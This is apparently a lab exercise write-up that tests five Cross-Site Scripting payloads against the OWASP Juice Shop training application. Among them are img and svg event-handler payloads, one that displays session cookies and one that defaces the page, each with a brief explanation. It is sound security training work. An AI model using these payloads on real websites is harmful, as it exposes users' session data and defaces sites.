

Section 6: JavaScript & XSS

Task 6.1: XSS Testing on Juice Shop

Objective:

To test various Cross-Site Scripting (XSS) payloads on OWASP Juice Shop.

1. Basic Alert Payload

Payload Used:

```
<script>alert('XSS')</script>
```

Explanation:

This payload displays a popup alert, confirming the presence of an XSS vulnerability.

2. Image Tag Payload

Payload Used:

```
<img src=x onerror=alert('XSS')>
```

Explanation:

The image fails to load, triggering the onerror event which executes JavaScript.

3. SVG Payload

Payload Used:

```
<svg/onload=alert('XSS')>
```

Explanation:

This payload uses the SVG tag to execute JavaScript automatically on load.

4. Cookie Disclosure Payload

Payload Used:

```
<img src=x onerror=alert(document.cookie)>
```

Explanation:

This payload displays cookies, which may contain sensitive session data.

5. DOM Manipulation Payload

Payload Used:

```
<img src=x onerror="document.body.innerHTML='HACKED' ">
```

Explanation:

This payload replaces the entire webpage content, demonstrating website defacement.

Best Payload Analysis

The DOM manipulation payload is the most impactful as it completely alters the webpage content.

Conclusion (XSS)

XSS vulnerabilities allow attackers to inject malicious scripts into web applications. These attacks can steal data, manipulate content, and compromise user security.